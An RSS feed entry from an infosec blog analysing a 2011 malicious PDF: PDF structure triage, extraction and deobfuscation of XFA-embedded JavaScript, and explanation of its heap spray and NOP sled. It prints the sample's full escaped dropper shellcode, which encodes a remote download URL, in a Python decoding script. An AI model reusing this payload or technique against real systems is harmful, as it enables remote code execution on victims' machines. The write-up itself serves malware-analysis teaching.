<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Code|Beta</title>
    <link>https://codebeta.com/</link>
    <description>A Blog on IT, InfoSec, CTF - by Nicole Daniella Murillo</description>
    <pubDate>Tue, 07 Apr 2026 20:54:58 +0000</pubDate>
    <item>
      <title>Analyzing PDF Malware</title>
      <link>https://codebeta.com/analyzing-pdf-malware?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[The Portable Document Format (PDF) files are capable of containing JavaScript code or embedding other files. Malware authors often leverage these features to spread malware; however, this is dependent on the application used to view the document, as different PDF viewers handle embedded content and JavaScript differently.&#xA;&#xA;The malicious document analyzed in this post leverages a vulnerability in a specific PDF viewing application to achieve code execution. As a result, not all victims who open this PDF file will trigger the malicious behavior.&#xA;&#xA;!--more--&#xA;&#xA;Sample Overview&#xA;&#xA;Initial analysis focuses on information that can be obtained from a file without dissecting the sample, with the goal of answering a basic question: what is this?&#xA;&#xA;The file has been observed under several names; for this post, the name kissasszod.pdf (SHA256 4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22) is used. The file is 10,799 bytes (~12 KB) in size and contains a malicious payload that is executed when opened by a vulnerable PDF reader.&#xA;&#xA;This is an older malware sample, with it being originally submitted to VirusTotal in 2011, but it remains a useful example of PDF-based exploitation techniques for those learning to analyze malicious documents.&#xA;&#xA;VirusTotal - File - 4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22&#xA;&#xA;This file is confirmed to be a PDF document, as shown in the screenshot below. The output of the exiftool also reports a warning on the cross-reference table (xref).&#xA;&#xA;Basic static analysis of sample&#xA;&#xA;The PDF targets version 1.6 of the specification, which was released in 2004 and was already outdated by the time the sample was first submitted to VirusTotal, since version 1.7 was released in 2006.&#xA;&#xA;As part of the initial triage, the pdfinfo tool was used to identify high-level document characteristics without parsing the embedded objects. Metadata fields such as the title, subject, author, and creator contain strings that don&#39;t make sense, a common aspect of malicious documents that were created with a tool or modified to avoid attribution.&#xA;&#xA;Checking the metadata of the sample document&#xA;&#xA;The creation timestamp predates submission to VirusTotal, suggesting the document may have been distributed for several months before it was detected properly or it might be as part of a broader campaign.&#xA;&#xA;While the output mentions that no JavaScript present, this is due to the sample not having traditional document-level JavaScript and does not exclude the possibility of code being embedded elsewhere in the file. Additionally, the existence of an XFA form is relevant, as this feature that has been abused by malware authors due to inconsistent handling across PDF readers and its expanded attack surface.&#xA;&#xA;Based on the initial triage for this PDF document, there is a need to further investigate and have a focus on the XFA form and document content.&#xA;&#xA;PDF Structure Analysis&#xA;&#xA;While there are tools available to automate aspects of the PDF analysis, such as peepdf, this section takes a manual approach. Focusing on manually analyzing the PDF structure to understand how the document is organized and to identify interesting components that may be responsible for malicious behavior.&#xA;&#xA;PDF readers begin processing a document by locating the trailer dictionary, which is normally found near the end of the file. This element serves a function similar to a table of contents, as it provides references to several components of the document, including the root object and cross-reference (xref) information. The command sed -n &#39;/^trailer/,/^    /p&#39; kissasszod.pdf can be used to extract the trailer dictionary from the file for closer inspection.&#xA;&#xA;Extracting the trailer from the PDF document&#xA;&#xA;The output shows that the root element is located at the object 18, as indicated by the /Root 18 0 R entry. The root element references the document catalog, which allows the reader to locate the objects that define the document&#39;s layout and behavior.&#xA;&#xA;Objects in a PDF document follow a basic structure, shown below:&#xA;&#xA;X Y obj&#xA;&lt;&lt;&#xA;[..data..]&#xA;    endobj&#xA;&#xA;In this structure, X represents the object number, while Y represents the generation number. The generation number allows multiple versions of an object to exist, which allows for a document to be updated incrementally; however, it&#39;s more common to see a single version of an object, which the generation number set to 0.&#xA;&#xA;Understanding this structure makes it straightforward to extract the root object from the sample using the command sed -n &#39;/^18 0 obj/,/^endobj/p&#39; kissasszod.pdf.&#xA;&#xA;Extracting the Object 8 from the PDF document&#xA;&#xA;The /Type /Catalog confirms that this object is the catalog and that the object is in fact the entry point for the PDF. The /Pages 2 0 R is the reference to the object that contains the page tree, this object frequently references streams, forms, or annotations, which also means that malicious content may be indirectly reached from here.&#xA;&#xA;The /AcroForm entry is notable, since this indicates the presence of interactive form elements, which is one area that has been often abused for malicious code when combined with XFA-based content.&#xA;&#xA;Extracting the object 17 for analysis using the command sed -n &#39;/^17 0 obj/,/^endobj/p&#39; kissasszod.pdf&#xA;&#xA;Extracting Object 17 from the PDF document&#xA;&#xA;The presence of the XML Forms Architecture (XFA) entry is significant, having multiple references rather than relying in a single stream. There are 8 indirect references that can be looked into for analysis.&#xA;&#xA;The following command can be used to look through these objects at once&#xA;&#xA;awk &#39;&#xA;/^(6|7|8|9|1[0-3]) 0 obj/ {flag=1}&#xA;flag {print}&#xA;/^endobj/ {flag=0}&#xA;&#39; kissasszod.pdf&#xA;&#xA;The results show several referenced objects, with two standing out due to their larger size and the presence of data that does not appear to be normal.&#xA;&#xA;Extracting the referenced objects from the PDF document&#xA;&#xA;The command sed -En &#39;/^(8|10) 0 obj/,/^endobj/p&#39; kissasszod.pdf can be used to focus on these two objects&#xA;&#xA;Extracting the two objects of interest&#xA;&#xA;Placing special attention on the stream sections of these objects reveals XML content, with one of the objects containing JavaScript that appears to be obfuscated.&#xA;&#xA;Obfuscated JavaScript Analysis&#xA;&#xA;The following command can be used to extract the JavaScript code from object 8:&#xA;&#xA;sed -n &#39;/^8 0 obj/,/^endobj/p&#39; kissasszod.pdf | sed -n &#39;/^stream/,/^endstream/{/^stream/d;/^endstream/d;p}&#39; | xmllint --xpath &#39;//[local-name()=&#34;script&#34;]/text()&#39; - | js-beautify&#xA;&#xA;The command uses the xmllint and js-beautify utilities to extract the JavaScript code from the XML stream and display it in a more readable format.&#xA;&#xA;The extracted obfuscated JavaScript code&#xA;&#xA;The JavaScript code uses simple obfuscation, which simplifies the process to remove the weird logic and recover a more readable version of the script.&#xA;&#xA;After cleaning up the script and renaming functions and variables for clarity, the recovered JavaScript code is shown below:&#xA;&#xA;Deobfuscated JavaScript code for decoding the payload&#xA;&#xA;The script implements a decoder routine and ends up executing the decoded payload using the eval function. The encoded data is retrieved from an object named khfdskjfh, which doesn&#39;t appear within the JavaScript itself. Instead, the value is accessed via khfdskjfh[&#39;rawValue&#39;], a pattern that is atypical for standalone JavaScript but consistent with how form field values are stored and accessed within a PDF document through AcroForm handling.&#xA;&#xA;The following command is used to extract the encoded data stored in khfdskjfh, which is located within object 10 of the PDF document:&#xA;&#xA;sed -n &#39;/^10 0 obj/,/^endobj/p&#39; kissasszod.pdf | sed -n &#39;/^stream/,/^endstream/{/^stream/d;/^endstream/d;p}&#39; | xmllint --xpath &#39;//[local-name()=&#34;khfdskjfh&#34;]/text()&#39; -&#xA;&#xA;The resulting output is shown in the screenshot below:&#xA;&#xA;Extracting the encoded payload&#xA;&#xA;Reviewing the decoder logic, two lines clearly define how the encoded numeric data is split into separate components:&#xA;&#xA;khfdskjfh[&#39;rawValue&#39;].substring(0, 50)&#xA;khfdskjfh[&#39;rawValue&#39;].substring(50)&#xA;&#xA;The first 50 characters are copied to the encodedtable, meaning that they are used to construct the character translation table, while the remaining characters represent the encoded payload that will be decoded and executed. This separation explains why the data stored in khfdskjfh appears as a single large numeric block, despite serving two distinct purposes during execution.&#xA;&#xA;By formatting the code and removing the possibility of it actually executing the decoded payload, the decoding function can be safely run using NodeJS to recover the hidden content. The screenshot below shows the second stage of the malicious code:&#xA;&#xA;The decoded payload is another obfuscated JavaScript code&#xA;&#xA;This second-stage JavaScript code continues with the trend of having simple obfuscation and being quite readable as it is.&#xA;&#xA;The X function acts as the entry point and contains the primary payload construction logic. Two payload components are handled, each encoded differently: one is Base64-encoded data, while the other is escaped binary data. The Base64 payload is dynamically built and stored in the same AcroForm field (khfdskjfh) that held the encoded second-stage JavaScript. No decoding is done on the Base64 string within this script, it may be consumed by the vulnerable program.&#xA;&#xA;The DI function is used to identify the version of the PDF reader by querying the viewer version. Based on the detected version, one of two payload variants is used, suggesting compatibility handling for different target environments.&#xA;&#xA;The R and M functions are utility routines used to expand strings at runtime, this to reduce the overall script size while allowing large buffers to be constructed as needed. The R expands the string QUFB, which is the Base64-encoded representation of AAA, a pattern that is commonly seen in buffer overflow exploitation. The M function expands the value 0x9090, which corresponds to the x86 No Operation (NOP) instruction, this forms a NOP sled that increases the reliability of redirecting execution flow during exploitation.&#xA;&#xA;The L function is used to prepare the shellcode that is stored in the ET variable and placing it into memory via the Q array. The shellcode is repeatedly added to the array, some 400 times, this behavior is common with a heap spray, as it increases the likelihood that the shellcode resides at a predictable memory location when the vulnerability is triggered.&#xA;&#xA;The L function relies on JavaScript&#39;s unescape function to carry out the conversion from the escaped shellcode to the binary representation. Since unescape is deprecated and behaves differently across JavaScript engines, attempting to run the second-stage code directly in NodeJS produces invalid shellcode. To avoid this issue, the following Python script is used to accurately reconstruct the binary shellcode.&#xA;&#xA;!/usr/bin/env python3&#xA;&#xA;import re&#xA;&#xA;def unescape(escapedBytes, useunicode=True):&#xA;    unescaped = bytearray()&#xA;    unicodePadding = b&#39;\x00&#39; if useunicode else b&#39;&#39;&#xA;    try:&#xA;        lowered = escapedBytes.lower()&#xA;        if &#39;%u&#39; in lowered or &#39;\\u&#39; in lowered or &#39;%&#39; in escapedBytes:&#xA;            if &#39;\\u&#39; in lowered:&#xA;                splitBytes = escapedBytes.split(&#39;\\&#39;)&#xA;            else:&#xA;                splitBytes = escapedBytes.split(&#39;%&#39;)&#xA;            for i, splitByte in enumerate(splitBytes):&#xA;                if not splitByte:&#xA;                    continue&#xA;                if (&#xA;                    len(splitByte)   4 and&#xA;                    re.match(r&#39;u[0-9a-f]{4}&#39;, splitByte[:5], re.IGNORECASE)&#xA;                ):&#xA;                    unescaped.append(int(splitByte[3:5], 16))&#xA;                    unescaped.append(int(splitByte[1:3], 16))&#xA;                    for ch in splitByte[5:]:&#xA;                        unescaped.extend(ch.encode(&#39;latin-1&#39;))&#xA;                        unescaped.extend(unicodePadding)&#xA;                elif (&#xA;                    len(splitByte)   1 and&#xA;                    re.match(r&#39;[0-9a-f]{2}&#39;, splitByte[:2], re.IGNORECASE)&#xA;                ):&#xA;                    unescaped.append(int(splitByte[:2], 16))&#xA;                    unescaped.extend(unicodePadding)&#xA;                    for ch in splitByte[2:]:&#xA;                        unescaped.extend(ch.encode(&#39;latin-1&#39;))&#xA;                        unescaped.extend(unicodePadding)&#xA;                else:&#xA;                    if i != 0:&#xA;                        unescaped.extend(b&#39;%&#39;)&#xA;                        unescaped.extend(unicodePadding)&#xA;                    for ch in splitByte:&#xA;                        unescaped.extend(ch.encode(&#39;latin-1&#39;))&#xA;                        unescaped.extend(unicodePadding)&#xA;        else:&#xA;            unescaped.extend(escapedBytes.encode(&#39;latin-1&#39;))&#xA;    except Exception:&#xA;        return (-1, b&#39;Error while unescaping the bytes&#39;)&#xA;    return (0, bytes(unescaped))&#xA;&#xA;ET = (&#xA;    &#39;%u204C%u0F60%u63A5%u4A80%u203C%u0F60%u2196&#39;&#xA;    &#39;%u4A80%u1F90%u4A80%u9030%u4A84%u7E7D%u4A80&#39;&#xA;    &#39;%u4141%u4141%26%00%00%00%00%00%00%00%u8871&#39;&#xA;    &#39;%u4A80%u2064%u0F60%u0400%00%u4141%u4141%u4141&#39;&#xA;    &#39;%u4141%u9090%u9090%u9090%u9090%uFBE9%00%u5F00&#39;&#xA;    &#39;%uA1640%00%u408B%u8B0C%u1C70%u8BAD%u2068%u7D80&#39;&#xA;    &#39;%u330C%u0374%uEB96%u8BF3%u0868%uF78B%u046A%uE859&#39;&#xA;    &#39;%8F%00%uF9E2%u6F68n%u6800%u7275%u6D6C%uFF54&#39;&#xA;    &#39;%u8B16%uE8E8y%00%uD78B%u8047%3F%uFA75%u5747%u8047&#39;&#xA;    &#39;%3F%uFA75%uEF8B%u335F%u81C9%u04EC%01%u8B00%u51DC&#39;&#xA;    &#39;%u5352%u0468%01%uFF00%u0C56%u595A%u5251%u028B%u4353&#39;&#xA;    &#39;%u3B80%u7500%u81FA%uFC7B%u652E%u6578%u0375%uEB83&#39;&#xA;    &#39;%u8908%uC703%u0443%u652E%u6578%u43C6%08%u8A5B%u04C1&#39;&#xA;    &#39;%u8830E%uC033%u5050%u5753%uFF50%u1056%uF883%u7500&#39;&#xA;    &#39;%u6A06%u5301%u56FF%u5A04%u8359%u04C2%u8041%3A%uB475&#39;&#xA;    &#39;%u56FF%u5108%u8B56%u3C75%u748B%u7835%uF503%u8B56&#39;&#xA;    &#39;%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238&#39;&#xA;    &#39;%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E&#39;&#xA;    &#39;%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u5EAB&#39;&#xA;    &#39;%uC359%E8%uFFFF%u8EFF%u0E4E%u98EC%u8AFE%u7E0E%uE2D8&#39;&#xA;    &#39;%u3373%u8ACA%u365B%u2F1A%u6F70%u646Ec%u7468%u7074%u2f3a&#39;&#xA;    &#39;%u6d2f%u7261%u6e69%u6461%u3361%u632e%u6d6f%u382f%u2f38&#39;&#xA;    &#39;%u696d%u7263%u6d6f%u6361%u6968%u656e%u2e73%u6870%u3f70&#39;&#xA;    &#39;%u3d65%u2633%u3d6e&#39;&#xA;)&#xA;&#xA;status, data = unescape(ET)&#xA;&#xA;with open(&#39;shellcode.bin&#39;, &#34;wb&#34;) as f:&#xA;    f.write(data)&#xA;&#xA;The binary file is shown below. Without going further, a URL is visible at the end of the code. This shellcode functions as a dropper, retrieving additional stages of the malware from the referenced domain. From an investigation standpoint, this indicator would be used to determine whether the domain was accessed by any endpoint.&#xA;&#xA;The decoded shellcode&#xA;&#xA;Despite this being an older sample, having been first seen more than 15 years ago, the infrastructure and vulnerability used by the malware is no longer active. This results in further investigation not being possible.&#xA;&#xA;Regardless, the sample remains as a valuable case study. The analysis shows practical techniques for triaging and dissecting malicious PDF documents, including identifying embedded JavaScript, navigating PDF structure, and safely extracting and interpreting exploit code. Techniques that remain relevant today, as many modern malicious documents continue to rely on the same fundamental concepts, even when the tools and delivery methods have evolved.&#xA;&#xA;References&#xA;&#xA;VirusTotal. (2011, February 7). kissasszod.pdf Malware analysis report]. [https://www.virustotal.com/gui/file/4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22&#xA;Esparza, J. (2011, November 14). Analysis of a malicious PDF from a SEO sploit pack. Eternal Todo. https://eternal-todo.com/blog/seo-sploit-pack-pdf-analysis&#xA;Wikipedia contributors. (2025, October 15). History of PDF. In Wikipedia, The Free Encyclopedia. Retrieved 21:31, December 27, 2025, from https://en.wikipedia.org/w/index.php?title=HistoryofPDF&amp;oldid=1316915536]]&gt;</description>
      <content:encoded><![CDATA[<p>The Portable Document Format (PDF) files are capable of containing JavaScript code or embedding other files. Malware authors often leverage these features to spread malware; however, this is dependent on the application used to view the document, as different PDF viewers handle embedded content and JavaScript differently.</p>

<p>The malicious document analyzed in this post leverages a vulnerability in a specific PDF viewing application to achieve code execution. As a result, not all victims who open this PDF file will trigger the malicious behavior.</p>



<h2 id="sample-overview" id="sample-overview">Sample Overview</h2>

<p>Initial analysis focuses on information that can be obtained from a file without dissecting the sample, with the goal of answering a basic question: <em>what is this?</em></p>

<p>The file has been observed under several names; for this post, the name <code>kissasszod.pdf</code> (SHA256 <code>4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22</code>) is used. The file is 10,799 bytes (~12 KB) in size and contains a malicious payload that is executed when opened by a vulnerable PDF reader.</p>

<p>This is an older malware sample, with it being originally <a href="https://www.virustotal.com/gui/file/4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22">submitted</a> to VirusTotal in 2011, but it remains a useful example of PDF-based exploitation techniques for those learning to analyze malicious documents.</p>

<p><img src="https://i.snap.as/70Ngo3WQ.png" alt="VirusTotal - File - 4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22"/></p>

<p>This file is confirmed to be a PDF document, as shown in the screenshot below. The output of the <code>exiftool</code> also reports a warning on the cross-reference table (xref).</p>

<p><img src="https://i.snap.as/56uHDRui.png" alt="Basic static analysis of sample"/></p>

<p>The PDF targets version 1.6 of the specification, which was released in 2004 and was already outdated by the time the sample was first submitted to VirusTotal, since version 1.7 was released in 2006.</p>

<p>As part of the initial triage, the <code>pdfinfo</code> tool was used to identify high-level document characteristics without parsing the embedded objects. Metadata fields such as the title, subject, author, and creator contain strings that don&#39;t make sense, a common aspect of malicious documents that were created with a tool or modified to avoid attribution.</p>

<p><img src="https://i.snap.as/k7P2n2mr.png" alt="Checking the metadata of the sample document"/></p>

<p>The creation timestamp predates submission to VirusTotal, suggesting the document may have been distributed for several months before it was detected properly or it might be as part of a broader campaign.</p>

<p>While the output mentions that no JavaScript present, this is due to the sample not having traditional document-level JavaScript and does not exclude the possibility of code being embedded elsewhere in the file. Additionally, the existence of an XFA form is relevant, as this feature that has been abused by malware authors due to inconsistent handling across PDF readers and its expanded attack surface.</p>

<p>Based on the initial triage for this PDF document, there is a need to further investigate and have a focus on the XFA form and document content.</p>

<h2 id="pdf-structure-analysis" id="pdf-structure-analysis">PDF Structure Analysis</h2>

<p>While there are tools available to automate aspects of the PDF analysis, such as <code>peepdf</code>, this section takes a manual approach. Focusing on manually analyzing the PDF structure to understand how the document is organized and to identify interesting components that may be responsible for malicious behavior.</p>

<p>PDF readers begin processing a document by locating the <code>trailer</code> dictionary, which is normally found near the end of the file. This element serves a function similar to a table of contents, as it provides references to several components of the document, including the root object and cross-reference (xref) information. The command <code>sed -n &#39;/^trailer/,/^&gt;&gt;/p&#39; kissasszod.pdf</code> can be used to extract the trailer dictionary from the file for closer inspection.</p>

<p><img src="https://i.snap.as/JsGAXepX.png" alt="Extracting the trailer from the PDF document"/></p>

<p>The output shows that the <code>root</code> element is located at the object 18, as indicated by the <code>/Root 18 0 R</code> entry. The <code>root</code> element references the document catalog, which allows the reader to locate the objects that define the document&#39;s layout and behavior.</p>

<p>Objects in a PDF document follow a basic structure, shown below:</p>

<pre><code class="language-text">X Y obj
&lt;&lt;
[..data..]
&gt;&gt;
endobj
</code></pre>

<p>In this structure, <code>X</code> represents the object number, while <code>Y</code> represents the generation number. The generation number allows multiple versions of an object to exist, which allows for a document to be updated incrementally; however, it&#39;s more common to see a single version of an object, which the generation number set to <code>0</code>.</p>

<p>Understanding this structure makes it straightforward to extract the <code>root</code> object from the sample using the command <code>sed -n &#39;/^18 0 obj/,/^endobj/p&#39; kissasszod.pdf</code>.</p>

<p><img src="https://i.snap.as/JMg8Z1xY.png" alt="Extracting the Object 8 from the PDF document"/></p>

<p>The <code>/Type /Catalog</code> confirms that this object is the catalog and that the object is in fact the entry point for the PDF. The <code>/Pages 2 0 R</code> is the reference to the object that contains the page tree, this object frequently references streams, forms, or annotations, which also means that malicious content may be indirectly reached from here.</p>

<p>The <code>/AcroForm</code> entry is notable, since this indicates the presence of interactive form elements, which is one area that has been often abused for malicious code when combined with XFA-based content.</p>

<p>Extracting the object 17 for analysis using the command <code>sed -n &#39;/^17 0 obj/,/^endobj/p&#39; kissasszod.pdf</code></p>

<p><img src="https://i.snap.as/e8CkyPgu.png" alt="Extracting Object 17 from the PDF document"/></p>

<p>The presence of the XML Forms Architecture (XFA) entry is significant, having multiple references rather than relying in a single stream. There are 8 indirect references that can be looked into for analysis.</p>

<p>The following command can be used to look through these objects at once</p>

<pre><code class="language-shell">awk &#39;
/^(6|7|8|9|1[0-3]) 0 obj/ {flag=1}
flag {print}
/^endobj/ {flag=0}
&#39; kissasszod.pdf
</code></pre>

<p>The results show several referenced objects, with two standing out due to their larger size and the presence of data that does not appear to be normal.</p>

<p><img src="https://i.snap.as/Lj7chvn7.png" alt="Extracting the referenced objects from the PDF document"/></p>

<p>The command <code>sed -En &#39;/^(8|10) 0 obj/,/^endobj/p&#39; kissasszod.pdf</code> can be used to focus on these two objects</p>

<p><img src="https://i.snap.as/zIW1pRLu.png" alt="Extracting the two objects of interest"/></p>

<p>Placing special attention on the <code>stream</code> sections of these objects reveals XML content, with one of the objects containing JavaScript that appears to be obfuscated.</p>

<h2 id="obfuscated-javascript-analysis" id="obfuscated-javascript-analysis">Obfuscated JavaScript Analysis</h2>

<p>The following command can be used to extract the JavaScript code from object 8:</p>

<pre><code class="language-shell">sed -n &#39;/^8 0 obj/,/^endobj/p&#39; kissasszod.pdf | sed -n &#39;/^stream/,/^endstream/{/^stream/d;/^endstream/d;p}&#39; | xmllint --xpath &#39;//*[local-name()=&#34;script&#34;]/text()&#39; - | js-beautify
</code></pre>

<p>The command uses the <code>xmllint</code> and <code>js-beautify</code> utilities to extract the JavaScript code from the XML stream and display it in a more readable format.</p>

<p><img src="https://i.snap.as/W5Cmxrl2.png" alt="The extracted obfuscated JavaScript code"/></p>

<p>The JavaScript code uses simple obfuscation, which simplifies the process to remove the weird logic and recover a more readable version of the script.</p>

<p>After cleaning up the script and renaming functions and variables for clarity, the recovered JavaScript code is shown below:</p>

<p><img src="https://i.snap.as/1ImyQ8XZ.png" alt="Deobfuscated JavaScript code for decoding the payload"/></p>

<p>The script implements a decoder routine and ends up executing the decoded payload using the <code>eval</code> function. The encoded data is retrieved from an object named <code>khfdskjfh</code>, which doesn&#39;t appear within the JavaScript itself. Instead, the value is accessed via <code>khfdskjfh[&#39;rawValue&#39;]</code>, a pattern that is atypical for standalone JavaScript but consistent with how form field values are stored and accessed within a PDF document through AcroForm handling.</p>

<p>The following command is used to extract the encoded data stored in <code>khfdskjfh</code>, which is located within object 10 of the PDF document:</p>

<pre><code class="language-shell">sed -n &#39;/^10 0 obj/,/^endobj/p&#39; kissasszod.pdf | sed -n &#39;/^stream/,/^endstream/{/^stream/d;/^endstream/d;p}&#39; | xmllint --xpath &#39;//*[local-name()=&#34;khfdskjfh&#34;]/text()&#39; -
</code></pre>

<p>The resulting output is shown in the screenshot below:</p>

<p><img src="https://i.snap.as/tWJ0Qz19.png" alt="Extracting the encoded payload"/></p>

<p>Reviewing the decoder logic, two lines clearly define how the encoded numeric data is split into separate components:</p>

<pre><code class="language-javascript">khfdskjfh[&#39;rawValue&#39;].substring(0, 50)
khfdskjfh[&#39;rawValue&#39;].substring(50)
</code></pre>

<p>The first 50 characters are copied to the <code>encoded_table</code>, meaning that they are used to construct the character translation table, while the remaining characters represent the encoded payload that will be decoded and executed. This separation explains why the data stored in <code>khfdskjfh</code> appears as a single large numeric block, despite serving two distinct purposes during execution.</p>

<p>By formatting the code and removing the possibility of it actually executing the decoded payload, the decoding function can be safely run using NodeJS to recover the hidden content. The screenshot below shows the second stage of the malicious code:</p>

<p><img src="https://i.snap.as/FxKsMfAK.png" alt="The decoded payload is another obfuscated JavaScript code"/></p>

<p>This second-stage JavaScript code continues with the trend of having simple obfuscation and being quite readable as it is.</p>

<p>The <code>_X</code> function acts as the entry point and contains the primary payload construction logic. Two payload components are handled, each encoded differently: one is Base64-encoded data, while the other is escaped binary data. The Base64 payload is dynamically built and stored in the same AcroForm field (<code>khfdskjfh</code>) that held the encoded second-stage JavaScript. No decoding is done on the Base64 string within this script, it may be consumed by the vulnerable program.</p>

<p>The <code>_DI</code> function is used to identify the version of the PDF reader by querying the viewer version. Based on the detected version, one of two payload variants is used, suggesting compatibility handling for different target environments.</p>

<p>The <code>_R</code> and <code>_M</code> functions are utility routines used to expand strings at runtime, this to reduce the overall script size while allowing large buffers to be constructed as needed. The <code>_R</code> expands the string <code>QUFB</code>, which is the Base64-encoded representation of <code>AAA</code>, a pattern that is commonly seen in buffer overflow exploitation. The <code>_M</code> function expands the value <code>0x9090</code>, which corresponds to the x86 No Operation (NOP) instruction, this forms a NOP sled that increases the reliability of redirecting execution flow during exploitation.</p>

<p>The <code>_L</code> function is used to prepare the shellcode that is stored in the <code>_ET</code> variable and placing it into memory via the <code>_Q</code> array. The shellcode is repeatedly added to the array, some 400 times, this behavior is common with a heap spray, as it increases the likelihood that the shellcode resides at a predictable memory location when the vulnerability is triggered.</p>

<p>The <code>_L</code> function relies on JavaScript&#39;s <code>unescape</code> function to carry out the conversion from the escaped shellcode to the binary representation. Since <code>unescape</code> is deprecated and behaves differently across JavaScript engines, attempting to run the second-stage code directly in NodeJS produces invalid shellcode. To avoid this issue, the following Python script is used to accurately reconstruct the binary shellcode.</p>

<pre><code class="language-python">#!/usr/bin/env python3

import re

def unescape(escapedBytes, use_unicode=True):
    unescaped = bytearray()
    unicodePadding = b&#39;\x00&#39; if use_unicode else b&#39;&#39;
    try:
        lowered = escapedBytes.lower()
        if &#39;%u&#39; in lowered or &#39;\\u&#39; in lowered or &#39;%&#39; in escapedBytes:
            if &#39;\\u&#39; in lowered:
                splitBytes = escapedBytes.split(&#39;\\&#39;)
            else:
                splitBytes = escapedBytes.split(&#39;%&#39;)
            for i, splitByte in enumerate(splitBytes):
                if not splitByte:
                    continue
                if (
                    len(splitByte) &gt; 4 and
                    re.match(r&#39;u[0-9a-f]{4}&#39;, splitByte[:5], re.IGNORECASE)
                ):
                    unescaped.append(int(splitByte[3:5], 16))
                    unescaped.append(int(splitByte[1:3], 16))
                    for ch in splitByte[5:]:
                        unescaped.extend(ch.encode(&#39;latin-1&#39;))
                        unescaped.extend(unicodePadding)
                elif (
                    len(splitByte) &gt; 1 and
                    re.match(r&#39;[0-9a-f]{2}&#39;, splitByte[:2], re.IGNORECASE)
                ):
                    unescaped.append(int(splitByte[:2], 16))
                    unescaped.extend(unicodePadding)
                    for ch in splitByte[2:]:
                        unescaped.extend(ch.encode(&#39;latin-1&#39;))
                        unescaped.extend(unicodePadding)
                else:
                    if i != 0:
                        unescaped.extend(b&#39;%&#39;)
                        unescaped.extend(unicodePadding)
                    for ch in splitByte:
                        unescaped.extend(ch.encode(&#39;latin-1&#39;))
                        unescaped.extend(unicodePadding)
        else:
            unescaped.extend(escapedBytes.encode(&#39;latin-1&#39;))
    except Exception:
        return (-1, b&#39;Error while unescaping the bytes&#39;)
    return (0, bytes(unescaped))

ET = (
    &#39;%u204C%u0F60%u63A5%u4A80%u203C%u0F60%u2196&#39;
    &#39;%u4A80%u1F90%u4A80%u9030%u4A84%u7E7D%u4A80&#39;
    &#39;%u4141%u4141%26%00%00%00%00%00%00%00%u8871&#39;
    &#39;%u4A80%u2064%u0F60%u0400%00%u4141%u4141%u4141&#39;
    &#39;%u4141%u9090%u9090%u9090%u9090%uFBE9%00%u5F00&#39;
    &#39;%uA1640%00%u408B%u8B0C%u1C70%u8BAD%u2068%u7D80&#39;
    &#39;%u330C%u0374%uEB96%u8BF3%u0868%uF78B%u046A%uE859&#39;
    &#39;%8F%00%uF9E2%u6F68n%u6800%u7275%u6D6C%uFF54&#39;
    &#39;%u8B16%uE8E8y%00%uD78B%u8047%3F%uFA75%u5747%u8047&#39;
    &#39;%3F%uFA75%uEF8B%u335F%u81C9%u04EC%01%u8B00%u51DC&#39;
    &#39;%u5352%u0468%01%uFF00%u0C56%u595A%u5251%u028B%u4353&#39;
    &#39;%u3B80%u7500%u81FA%uFC7B%u652E%u6578%u0375%uEB83&#39;
    &#39;%u8908%uC703%u0443%u652E%u6578%u43C6%08%u8A5B%u04C1&#39;
    &#39;%u8830E%uC033%u5050%u5753%uFF50%u1056%uF883%u7500&#39;
    &#39;%u6A06%u5301%u56FF%u5A04%u8359%u04C2%u8041%3A%uB475&#39;
    &#39;%u56FF%u5108%u8B56%u3C75%u748B%u7835%uF503%u8B56&#39;
    &#39;%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238&#39;
    &#39;%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E&#39;
    &#39;%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u5EAB&#39;
    &#39;%uC359%E8%uFFFF%u8EFF%u0E4E%u98EC%u8AFE%u7E0E%uE2D8&#39;
    &#39;%u3373%u8ACA%u365B%u2F1A%u6F70%u646Ec%u7468%u7074%u2f3a&#39;
    &#39;%u6d2f%u7261%u6e69%u6461%u3361%u632e%u6d6f%u382f%u2f38&#39;
    &#39;%u696d%u7263%u6d6f%u6361%u6968%u656e%u2e73%u6870%u3f70&#39;
    &#39;%u3d65%u2633%u3d6e&#39;
)

status, data = unescape(ET)

with open(&#39;shellcode.bin&#39;, &#34;wb&#34;) as f:
    f.write(data)
</code></pre>

<p>The binary file is shown below. Without going further, a URL is visible at the end of the code. This shellcode functions as a dropper, retrieving additional stages of the malware from the referenced domain. From an investigation standpoint, this indicator would be used to determine whether the domain was accessed by any endpoint.</p>

<p><img src="https://i.snap.as/Ie762EeR.png" alt="The decoded shellcode"/></p>

<p>Despite this being an older sample, having been first seen more than 15 years ago, the infrastructure and vulnerability used by the malware is no longer active. This results in further investigation not being possible.</p>

<p>Regardless, the sample remains as a valuable case study. The analysis shows practical techniques for triaging and dissecting malicious PDF documents, including identifying embedded JavaScript, navigating PDF structure, and safely extracting and interpreting exploit code. Techniques that remain relevant today, as many modern malicious documents continue to rely on the same fundamental concepts, even when the tools and delivery methods have evolved.</p>

<h2 id="references" id="references">References</h2>
<ul><li>VirusTotal. (2011, February 7). kissasszod.pdf [Malware analysis report]. <a href="https://www.virustotal.com/gui/file/4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22">https://www.virustotal.com/gui/file/4a65b640318c8cc4ce906a7d03ca78b33b21dedaad3a787d32ffadbb955dee22</a></li>
